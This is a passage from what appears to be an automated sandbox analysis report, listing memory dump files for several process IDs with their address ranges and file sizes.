                                                                                                                    96KB

                                                                                                                  • memory/5244-529-0x00007FFD50E30000-0x00007FFD51296000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.4MB

                                                                                                                  • memory/5244-507-0x00007FFD50E00000-0x00007FFD50E2C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    176KB

                                                                                                                  • memory/5420-532-0x00000000060B0000-0x00000000060CE000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    120KB

                                                                                                                  • memory/5420-511-0x0000000005420000-0x0000000005486000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    408KB

                                                                                                                  • memory/5420-613-0x0000000074800000-0x0000000074FB1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/5420-495-0x0000000074800000-0x0000000074FB1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/5420-575-0x0000000007660000-0x0000000007CDA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    6.5MB

                                                                                                                  • memory/5420-502-0x00000000054C0000-0x0000000005AEA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    6.2MB

                                                                                                                  • memory/5420-504-0x0000000004E80000-0x0000000004E90000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/5420-577-0x00000000065C0000-0x00000000065DA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    104KB

                                                                                                                  • memory/5420-580-0x0000000008290000-0x0000000008836000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    5.6MB

                                                                                                                  • memory/5420-581-0x00000000074F0000-0x0000000007582000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    584KB

                                                                                                                  • memory/5420-509-0x0000000005200000-0x0000000005222000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    136KB

                                                                                                                  • memory/5420-510-0x00000000052A0000-0x0000000005306000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    408KB

                                                                                                                  • memory/5420-525-0x0000000005CE0000-0x0000000006037000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    3.3MB

                                                                                                                  • memory/5420-534-0x00000000060E0000-0x000000000612C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    304KB

                                                                                                                  • memory/5420-599-0x0000000004E80000-0x0000000004E90000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/5420-597-0x0000000004E80000-0x0000000004E90000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/5420-583-0x0000000074800000-0x0000000074FB1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    7.7MB

                                                                                                                  • memory/5604-579-0x00007FFD6AC70000-0x00007FFD6AC88000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    96KB

                                                                                                                  • memory/5604-572-0x00007FFD6AC40000-0x00007FFD6AC6C000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    176KB

                                                                                                                  • memory/5604-570-0x00007FFD6AC90000-0x00007FFD6ACB4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    144KB

                                                                                                                  • memory/5604-619-0x00007FFD6AC90000-0x00007FFD6ACB4000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    144KB

                                                                                                                  • memory/5604-618-0x00007FFD5BF70000-0x00007FFD5C3D6000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.4MB

                                                                                                                  • memory/5604-571-0x00007FFD6EF00000-0x00007FFD6EF0F000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    60KB

                                                                                                                  • memory/5604-569-0x00007FFD5BF70000-0x00007FFD5C3D6000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.4MB

                                                                                                                  • memory/5604-573-0x00007FFD681D0000-0x00007FFD681E9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    100KB

                                                                                                                  • memory/5604-576-0x00007FFD68B40000-0x00007FFD68B4D000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    52KB

                                                                                                                  • memory/6924-544-0x0000000000110000-0x0000000000119000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    36KB

                                                                                                                  • memory/6924-553-0x00007FFD744C0000-0x00007FFD746C9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/6924-578-0x00007FFD744C0000-0x00007FFD746C9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/6924-551-0x0000000001F10000-0x0000000002310000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.0MB

                                                                                                                  • memory/6924-554-0x0000000075C50000-0x0000000075EA2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.3MB

                                                                                                                  • memory/6924-550-0x00007FFD744C0000-0x00007FFD746C9000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/6924-574-0x0000000001F10000-0x0000000002310000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.0MB

                                                                                                                  • memory/6924-548-0x0000000001F10000-0x0000000002310000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    4.0MB